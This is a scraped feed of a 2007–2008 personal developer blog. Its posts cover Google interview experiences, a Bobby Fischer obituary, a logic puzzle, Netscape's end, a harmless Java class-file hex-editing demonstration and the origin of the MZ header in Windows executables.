style="font-style:italic;">m = randY();<br />IF m belongs to one of the X groups <span style="font-weight:bold;">return its number</span><br />ELSE restart the machine</span><br />The probability in every run of the algorithm to return one specific value from 1 to X is <span style="font-style:italic;">a =n/Y </span> and the probability that the algorithm restarts is <span style="font-style:italic;">b = r/Y</span>. So, the overall probability that the machine will output one number from 1 to X is :<br /><span style="font-style:italic;">P = a+a*b+a*b*b+a*b*b*b+... = a*(1+b+b*b+...) = a/(1-b).<br />By substitution we get, P = 1/X </span><br />In other words, we have generated the function <span style="font-weight:bold;">randX</span><br />Now, if we wish to increase the rand range, for example get <span style="font-style:italic;">rand7</span> from <span style="font-style:italic;">rand5</span> you can create <span style="font-style:italic;">rand25</span> from <span style="font-style:italic;">rand5</span> (two rand5 calls) and then use the above method. Shifting to infinity is inevitable in some cases and all other efforts are in vain.<br /><br />Back to the interviews, the final question had to do with designing and analyzing an algorithm. This had to calculate all representations of an integer as a sum of cubes. You can find many similar examples in algorithms textbooks so presenting this story here is trivial. What is interesting is that, we started a discussion on an incident that was directly related to the problem. This is usually called as the '<span style="font-style:italic;">cab number story'</span>. Back in the days when <a href="http://en.wikipedia.org/wiki/Ramanujan">Ramanujan</a> was in Cambridge and was working with <a href="http://en.wikipedia.org/wiki/G._H._Hardy">G.H. Hardy</a>, he had frequent health problems. One day, Hardy visited Ramanujan to the hospital and to start a discussion he mentioned the number of the taxi cab that brought him there. He said something like <span style="font-style:italic;">"..The cab number was 1729. I think this number is not interesting at all."</span> A few seconds Ramanujan (which was extremely competent with numbers and calculations) replied: <span style="font-style:italic;">"You are not right Mr.Hardy. 1729 is very interesting. It is the smallest number that can be written as a sum of cubes in two different ways."</span> <br /><br />This was a nice way to close the interview. We didn't have much time left, so we said some relaxing things and then ended the interview conversation. All in all, it went well and my interviewer was a really nice person. Our discussion was interesting and I soon got the news that I was to pass to the next level. Having acquaintance with math and generally science history certainly helps!<br /><br /><span style="font-style:italic;">Jump to the <a href="http://developeronline.blogspot.com/2008/02/google-interviews-part-iv.html">next Google interview.</a></span>ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.com20tag:blogger.com,1999:blog-8823755788673864603.post-89979683232917248572008-01-18T04:40:00.000-08:002008-12-09T07:12:08.237-08:00Robert James Fischer-The King Is Dead (1943-2008)I heard it a couple of minutes ago. <span style="font-weight: bold;">Bobby Fischer</span> died in a hospital of Reykjavik, Iceland, the very place where he became the king of chess players beating Spassky in the final match. This leaves a bitter taste to all chess fans, and more to Fischer fans like myself.<br /><br />Child of divorced parents, he lived with his mom and older sister, which introduced Bobby to the game. He quickly left school and decided to be a professional chess player. At the age of 13 he played the 'Game of the Century' against D.Byrne, still considered as a masterpiece among chess enthusiasts (you don't see queen sacrifices very often)This was just the beginning and among other things Fischer became the holder of many best performance records in tournaments and matches escalating to being the World Chess Champion in 1972, at the heart of of Cold War, outperforming all Soviet chess stars. He was notorious for his passion to play each game to win.<br /><br />Bobby Fischer disappeared soon after FIDE denied to accept his suggestions for changing World Chess Championship rules and refused to defend his title against Anatoly Karpov. This has been a mystery around the chess world until 1992 when Fischer re-appeared to the public and played against Spassky in Serbia (Former Yugoslavia). This had political interest since Serbia was under embargo from the US at the time. After that Fischer had to find a political asylum which he finally found in Iceland.<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggTWfKQmBdzI2CP3QR4ZWpBgQgFmp3s6lnkLReeILME1Jtu3xz7LJVChlZMznxLs7_vaLE1O_jwq1qzdRAkqfsXL2cHYZbm7CPIQIrJDPkJlqUhvFG0s7u8UhwZQIgkg0JHo6BlLELjWPU/s1600-h/bobby-fischer-life-nov-12-1971.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggTWfKQmBdzI2CP3QR4ZWpBgQgFmp3s6lnkLReeILME1Jtu3xz7LJVChlZMznxLs7_vaLE1O_jwq1qzdRAkqfsXL2cHYZbm7CPIQIrJDPkJlqUhvFG0s7u8UhwZQIgkg0JHo6BlLELjWPU/s200/bobby-fischer-life-nov-12-1971.jpg" alt="" id="BLOGGER_PHOTO_ID_5156809619415031010" border="0" /></a><br />Bobby Fischer had early established the habit of dressing well and it is rumored he had a massive collection of shoes. Fischer himself describes that one comment after a chess tournament ('<span style="font-style: italic;">He may play well but he dresses like a homeless'</span>) is what triggered his behavior. All this have led many to call him 'arrogant' and 'self-centric'. At the last years of his life he has been accused of being racist and anti-semitic, things that he triggered himself after expressing strong anti-semitic opinions over the 9/11 incident on the radio.<br /><br />One could write for days about Fischer's bad behavior but all this have little significance now. This has been a small tribute to Bobby Fischer who died today. His ingenuity has inspired a whole generation of chess players and his plays are of unmatchable beauty. In my eyes, he is the best chess player of all times. and beyond chess mastery one can discover lessons of life in his strategies: The first that comes to my mind: "<span style="font-weight: bold;">No draws. Win or lose."</span>ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.com6tag:blogger.com,1999:blog-8823755788673864603.post-52435975347920582462008-01-07T10:20:00.000-08:002008-12-09T07:12:08.449-08:00The Importance of Being ElegantThis is the solution to the the problem <a href="http://developeronline.blogspot.com/2007/11/perfect-logicians-puzzle.html">of the perfect logicians.</a> You might find 'solutions' for this problem in the web that in essence by listing a large set of numbers and wiping out the 'impossible' ones to arrive at the desired result. Even this <a href="http://www.stanford.edu/dept/physics/Lighter_Side/puzzles.shtml">relevant Stanford page</a> on the problem, refers to solutions you can hardly bear to look..<br /><br />The beauty of the problem and of the solution, resides in the elegant modeling. To find the exact solution all you have to do is to feed it to a computer in a form of a computer program and collect the results. My own perspective of elegance is given below:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgh974i2JtfVl6XqzYffxhSGcSxs3AilJoQ2NEmo7eJS-nl1d7wcQ_6mgjWz1LruWh47erupWhIq23HIan-BBs5-weDwZq-4P9bGhJWRpsri6nFvPDxi6KcVxGCNy_N-GPvRd-7G5Am5K3u/s1600-h/PerfectLogicians.jpg"><img style="cursor:pointer; cursor:hand;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgh974i2JtfVl6XqzYffxhSGcSxs3AilJoQ2NEmo7eJS-nl1d7wcQ_6mgjWz1LruWh47erupWhIq23HIan-BBs5-weDwZq-4P9bGhJWRpsri6nFvPDxi6KcVxGCNy_N-GPvRd-7G5Am5K3u/s400/PerfectLogicians.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5152807336960384194" /></a><br /><br />Making the software for this model is really straightforward. You will find out that the only solution is 4 and 13. You may even try an even larger numbers and find out that 4 and 13 are the only solutions for a large set.<br /><br />I hope you enjoy this elegance in this as much as I have!ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.com3tag:blogger.com,1999:blog-8823755788673864603.post-74552694904608956422008-01-03T09:11:00.001-08:002008-01-20T17:35:03.596-08:00Google Interviews Part IIThe first Google interview is most likely the easiest one.<br />I have the feeling that they normally ask general questions, just to ensure that you have some knowledge of computers and you are not just the guy who believes he deserves a place in Google because he can make nice Powerpoint presentations. At least happened in my case.<br /><br />A guy from Mountain View called me sharply at the time we had arranged. He called on my mobile. I had everything arranged: From the bluetooth hands-free to nice and clean desk in front of me. At first, he asked me some questions about my CV, my age and my education. He didn't seem so interested in that and my impression was that his questions were somewhat mechanical.<br /><br />After a couple of minutes, he started asking technical questions. The first one was easy: <span style="font-weight:bold;"><span style="font-style:italic;">If we would like to index the entire earth population, how long should the index size be?</span></span> Although a piece of cake, I felt like I was asked to prove that P=NP. Soon, I panicked but I asked for some time to 'warm up'. The Google Engineer was kind enough to understand and gave me all the time I needed in order to finally realize that I was talking to Google and that I had to control myself.<br /><br />After recovering and answering to this question, I was put in front of a puzzle involving <span style="font-style:italic;">buckets</span> and I was asked to find an algorithm that would end up in a situation that one bucket would be empty, as soon as some conditions were met. Excuse me for this vague description but I am still not able to remember exactly what the problem was all about. Instead of trying to find some exact solution to a problem that I couldn't understand (perhaps I was very nervous or I didn't understand the language), I followed an old <span style="font-style:italic;">Harry Truman's quote: <span style="font-weight:bold;">"If you cannot convince them, confuse them"</span></span>. This seemed to work extremely well. I soon said something about modelling the problem as a Diophantine equation, where the solutions in integers would mean filling if positive or emptying if negative. Of course I had no idea what I was talking about, but the Google Engineer fell into it. He was not familiar with the idea, we soon started talking until we had switched to a more theoretical conversation. This gave me time to think over the solution and present with a backtracking-type of algorithm. During all this, I was asked some algorithmic-theoretical questions, for example about <span style="font-style:italic;">hashing space and time complexity.</span><br /><br />We spent a lot of time on this problem. The last one was around his own domain of expertise. It turned out that this guy was working on <span style="font-style:italic;">Google Book Search</span> and asked what I would <span style="font-weight:bold;"><span style="font-style:italic;">if I had to find duplicates in book catalogs with entries with different titles but with the same content.</span></span>. I had no idea of the format, Google was using to index book entries, I asked some questions that clarified the problem to me and then I presented my solution. My idea was to use some basic format properties of book text, for example number of paragraphs, size of paragraphs and so on. This way a book named "Albert Camus-The Stranger" would match a book "Famous Authors-L'etranger" (the example might not be realistic but it gives the idea)<br /><br />The 45 minute had finished and it was time to ask my own questions. I asked a couple of things (one being <span style="font-style:italic;">if book search is still beta</span> to which the engineer falsely responded that it is not!)and some other lame how-wonderful-is-Google questions and we said goodbye.<br /><br />The next day I was informed by my recruiter that I had done well we had to proceed to the next stage. Overall, the guy I talked was very kind and showed a lot of understanding when I was stuck in the first and simplest question. But now I had to prepare for the 2nd interview which my recruiter had informed me that would be much more technical...<br /><br /><span style="font-style:italic;">Continue to the <a href="http://developeronline.blogspot.com/2008/01/google-interviews-part-iii.html">second interview</a></span>ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.com3tag:blogger.com,1999:blog-8823755788673864603.post-9934968977596924212008-01-02T17:01:00.000-08:002008-02-18T17:27:48.747-08:00Netscape Navigator (1994-2008)Netscape Navigator or simply Navigator is DEAD.<br />On December 28th 2007, AOL announced that will no longer support Navigator.<br />You can find the <a href="http://blog.netscape.com/2007/12/28/end-of-support-for-netscape-web-browsers/">original announcement here.</a> It has already been filled with comments.<br /><br />Indeed, this is huge news. I mean, ok, we already knew that Netscape did have a tiny percent of Internet users, but it cannot be doubted that Netscape has been one if the <span style="font-weight: bold;">most innovative software companies</span> and that the Navigator is 'responsible' for the massive explosion of the Web. An amazing variety of technologies were first explored by Netscape: <span style="font-weight: bold;">SSL </span>and <span style="font-weight: bold;">Javascript </span>are some of them. One clue, it is <span style="font-weight: bold;">top in the <a href="http://www.pcworld.com/article/id,130207-page,1/article.html?tk=pr_50besttech">PC World's List of 50 best Tech Programs.</a></span> In an era when only a few people were actually aware of the so-called World Wide Web, in a period during which even Microsoft was too busy with <span style="font-style: italic;">productivity software, </span>actually overlooking Internet opportunities and considering it a 'fad', it was Netscape Communications that created the definition of the "killer app".<br /><br /> The actual story of Netscape is also fascinating (The great browser battle, Navigator vs. Explorer is now history), including stock gain records, mythical quarterly revenues, innovations, trials and many other leading to the decadence and death. You can find a very nice article <a href="http://www.eweek.com/article2/0,1895,2242788,00.asp">here.</a>ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.com0tag:blogger.com,1999:blog-8823755788673864603.post-43979921490052764432007-12-26T23:47:00.000-08:002008-06-05T01:11:24.377-07:00Google Interviews Part I- Questions and moreThis is a summary of my own experience on interviewing in Google. The process went quite well and lasted for about 40 days. I had 4 phone interviews and then they flew me to the Google Site I had applied to. I had 5 on-site interviews, quite stressful and lengthy to finally reach the bitter end 3 days later, when I was informed that I had the potentials but not matched to the exact expectations of the position.<br /><br />Either you are into computers, or you are having your own interviews with Google or other major software company or you are just curious, you might find this topic to be at least interesting. Later I will reveal many of the questions they asked me but for what follows I will give my own summary view of this process.<br /><br />I am sure you have heard for 'weird puzzles' or 'crazy questions' during the interviews (for example <span style="font-style: italic;">how many golf balls fit into a school bus? or how many piano tuners are there in the world?</span>). Well, all these are <span style="font-weight: bold;">total nonsense</span>. Google is all about algorithms (Well at least the searhing-Google). If you are planning of preparing for interviews some textbooks on the subject might be a good start. Another good advice would be to check out the data structures and algorithms library available in the programming language of your choice (for example <span style="font-weight: bold;">Java Collections Framework</span> or <span style="font-weight: bold;">.NET Collections package</span>)<br /><br />But <span style="font-weight: bold;">don't </span>be scared. Googlers are not creatures with extra-terrestrial intelligence. You will talk to people that are great scientists but also to people that are not. You will talk to engineers that honor their title but also to others that are merely mediocre programmers. Google is now a big company and this is inevitable. You will understand what I mean if you keep on reading the next blog posts.<span style="font-style: italic;"></span><br /><br />So, a few quick tips would be:<br />1. Have a strong understanding of algorithms<br />2. Have a mastery on programming and especially the libraries available (collections)<br />3. Be calm and inspire confidence<br />4. Goto 1<br /><br />These 4 advices are fairly general. You can customize it further for the Google case. For example since Google is a search company you should consider fair questions regarding Regular Expressions.<br /><br />In summary, it has been a really unique experience. Google is really a great company and probably the best place for software engineers (too bad I couldn't see it my self). During the on-site interviews I had the chance to launch at the in-Google restaurant, which was really amazing, providing dishes literally for any kind of diet. You will also talk to interesting people and if lucky you will meet some of them and talk about subjects you are keen on. It is a challenge worth taking and be prepared to deal with all possible outcomes.<br /><br />In later blog posts I will give out the entire set of questions they asked me during the interviews. You can find the <a href="http://developeronline.blogspot.com/2008/01/google-interviews-part-ii.html">1st Google Interview here.</a>I have recorded more than 20 questions but unfortunately I am not free to disclose the questions I was asked on site (I am bound to an NDA-Non Disclosure Agreement) Till then, enjoy your holidays!ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.com19tag:blogger.com,1999:blog-8823755788673864603.post-33122712276507789172007-11-19T02:47:00.000-08:002007-12-12T11:54:19.259-08:00Hacking Java IWell Java is said to be safe since JVM commonly takes care of everything (loading, resolution and so on). Actually it is. However this does not mean that Java is safe from careless usage.When JVM loads a class file, it does not take for granted that it was produced by some kind of Java compiler. It actually is interested in checking its file format.This process is known as <span style="font-weight:bold;">bytecode verification</span> and it is supposed to prevent from invoking code that seems to be messed up.<br /><br />Whatever class fails the verification it is really a bad Java class. But this does not mean that classes that pass it are ok.<br /><br />To demonstrate this I am going to develop a useful but harmless example to test a case where we compile Java source code and subsequently we deform the class file to alter its functionality.<br /><br />Here is the code...<br /><br /><span style="font-style:italic;">public class JavaHack {<br /><br /> public static void main(String[] args){<br /><br /> int a=6;<br /> int b = DivideBy2(a);<br /> int c = DivideBy3(a);<br /> System.out.println(""+a+"/2 = "+b);<br /> System.out.println(""+a+"/3 = "+c);<br /> }<br /> <br /> public static int DivideBy2(int i) {return i/2;}<br /> public static int DivideBy3(int j) {return j/3;}<br /> <br /> } </span><br /><br />If compiled and run successfully we will finally get the output:<br />6/2=3<br />6/3=2<br /><br />Now use a Hex editor, like <a href="http://www.mh-nexus.de/">HxD Editor</a>.<br />Open the JavaHack class with the editor and search for the sequence: <span style="font-style:italic;">0xB8 0x00 0x02 0x3D 0x1B ...</span> and alter 0x02 byte to 0x03.<br />Then <span style="font-weight:bold;">immediately(no more compilation)</span> run the JavaHack class. The output will be:<br /><span style="font-weight:bold;">6/2=2 (!)</span><br /><span style="font-weight:bold;">6/3=2</span><br /><br />The function DivideBy2 seems to be returning wrong results. What is actually going on is that we do not call this method any more. To explain, every method has an index into the <span style="font-style:italic;">method table</span> in the class file. The DivideBy2 has id 2 and DivideBy3 has id 3. The sequence 0xB8 0x00 0x02 is actually <span style="font-style:italic;">invokestatic #2</span> in JVM code, meaning that it invokes the static method with id 2. Changing the value 0x02 to 0x03 actually calls the function DivideBy3, which eventually is called twice!! This explains the strange result of the modified class file.<br /><br />The example can be easily extended and generalized to create more complex hacks (e.g. find out values of un-initialized variables and so on)ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.com6tag:blogger.com,1999:blog-8823755788673864603.post-45054711428917527142007-11-07T22:39:00.000-08:002008-01-24T10:19:41.681-08:00"The Perfect Logicians" PuzzlePuzzles of any kind (mathematical, logic etc) is certainly a way to kill some time. It also can be a very efficient and clear way to test your abilities in dealing with complex situations and developing the proper solutions.<br /><br />Personally I have often found myself derailing from my everyday routine, struggling to solve such problems. My favorites are the kind where the problem is easily stated (some lines), resists hard to usual thinking but surrenders easily to a different but also ingenious approach.<br />Enjoy!<br /><br />The problem can be stated as follows.<br /><blockquote></blockquote>We have two integers, say <span style="font-style: italic;">α </span>and <span style="font-style: italic;">β, </span>for which it is known that <span style="font-style: italic;"><br /></span><div style="text-align: center;"><span style="font-style: italic;"> β>α>1</span> and <span style="font-style: italic;">α+β<100</span><br /></div>There are two perfect logicians, say <span style="font-style: italic;">P </span>and <span style="font-style: italic;">S</span>.<br /><span style="font-style: italic;">P </span>is given the product of the numbers and <span style="font-style: italic;">S </span>is given the sum of them.<br /><span style="font-style: italic;">P </span>calls <span style="font-style: italic;">S </span>on the phone and a short conversation follows:<span style="font-style: italic;"><br /><br /><span>P</span>: I cannot find the numbers...<br /><span>S</span>: I knew that.<br /><span>P</span>: Hmm..Now I can!<br /><span>S</span>: Well, now I can find them too!<br /><br /></span>Can you find the numbers?<br /><span style="font-style: italic;">(Use of computer programming is advised!)</span><br /><a><b><b><span style="font-style: italic;"><span style="font-weight: bold;"><span style="font-weight: bold;"><span style="font-weight: bold;"></span></span></span><br /></span></b></b></a><br />You can find a solution to <a href="http://developeronline.blogspot.com/2008/01/importance-of-being-elegant.html">the perfect logicians puzzle here</a>.ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.com2tag:blogger.com,1999:blog-8823755788673864603.post-33196213206013138632007-09-03T18:26:00.000-07:002008-05-06T10:37:40.159-07:00The Man In Our MachinesAnd his name is Mark Zbikowski.<br /><br />And to be honest, not all machines, but only Windows based. <span style="font-style: italic;"><br />(Sorry for the eye catch!)</span><br />In every application you start, in every dll file that is loaded on your RAM (whether on your desktop, laptop or PDA device), as long as it is Windows based, there are two <span style="font-weight: bold;">magic </span>bytes in head of all the others that have a very specific meaning. These are the initials of one of the first Microsoft employees that was involved on all crucial Windows development phases. As said his name is <span style="font-weight: bold;">M</span>ark <span style="font-weight: bold;">Z</span>bikowski.<br /><br />Take any windows executable file, dll file, either for PC or Windows CE and you will notice that the first two bytes are <span style="font-weight: bold;">0x4D 0x5A </span>or in ASCII code <span style="font-weight: bold;">MZ</span>. Every file conforming to the Windows PE(Portable Executable) format (exe, dll, ocx etc) has an introducing <span style="font-weight: bold;">DOS Header</span>.<br /><br />DOS was Microsoft's first Operating System delivered with all IBM PCs and was entirely command line based. Executable files (technically files that the <span style="font-weight: bold;">system loader </span>could map into memory and hand over the CPU control) were also identified by the .exe .com or .bat extension. With the domination of the Win32 and GUI environments, every new program that required Win32 functionality (e.g. drawing) was not able to be hosted under <span style="font-weight: bold;">"pure"</span> DOS. The least they should do was to print an error message like "<span style="font-weight: bold;">This program cannot be run in DOS mode</span>". This is a commonly found string also in every PE file (although it can be altered on compilation time)<br /><br />So every windows application or library has a DOS part (basically a DOS dump program that prints out your desired message). In the beginning of this part that is actually the beginning of the file, the two bytes of the key DOS developer, Mark Zbikowski, are found much like a <span style="font-weight: bold;">legacy</span> for us to keep in mind that <span style="font-weight: bold;">computers have been much less capable.<br /><br /></span>In the beginning of the PC era, there were not many things that you could do with a computer. Just programs for simple mathematical operations and one-color command line text editors seemed more like a programmer's joke or an attempt to prove that nothing special could be done with these machines. The process address space was limited just to 64K. Programs used to be the same both in the disk and on memory. With a 16-bit memory pointer you could only reach out for 65536 bytes.<br /><br />Things changed when Mark decided to put a header before the executable file (much following the Unix style) that would describe the entire file and basically its sections so that it would be possible to create a process image much richer than its disk one. This led to a better memory management and of course good news for developers. So, this header replacing machine specific assembly code, should simply mean...<span style="font-weight: bold;">nothing.</span> Zbikowski decided to place his initials and since then every windows 'component' carries this legacy.<br /><br />Further Reading:<br /><a href="http://en.wikipedia.org/wiki/Mark_Zbikowski">Mark Zbikowski Wikipedia Entry</a><br /><a href="mms://wm.microsoft.com/ms/msnse/0605/27723/BehindtheCode1_MBR.wmv">Mark Zbikowski interview</a><br /><br /><span style="font-style: italic;">In next posts I will try to give a brief overview of the PE format used in current Windows systems and the exciting amount of information you could retrieve by processing its raw bytes. (Did you know for example that Skype application was technically built in 1992 ? -to help you I was not there! )</span>ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.com0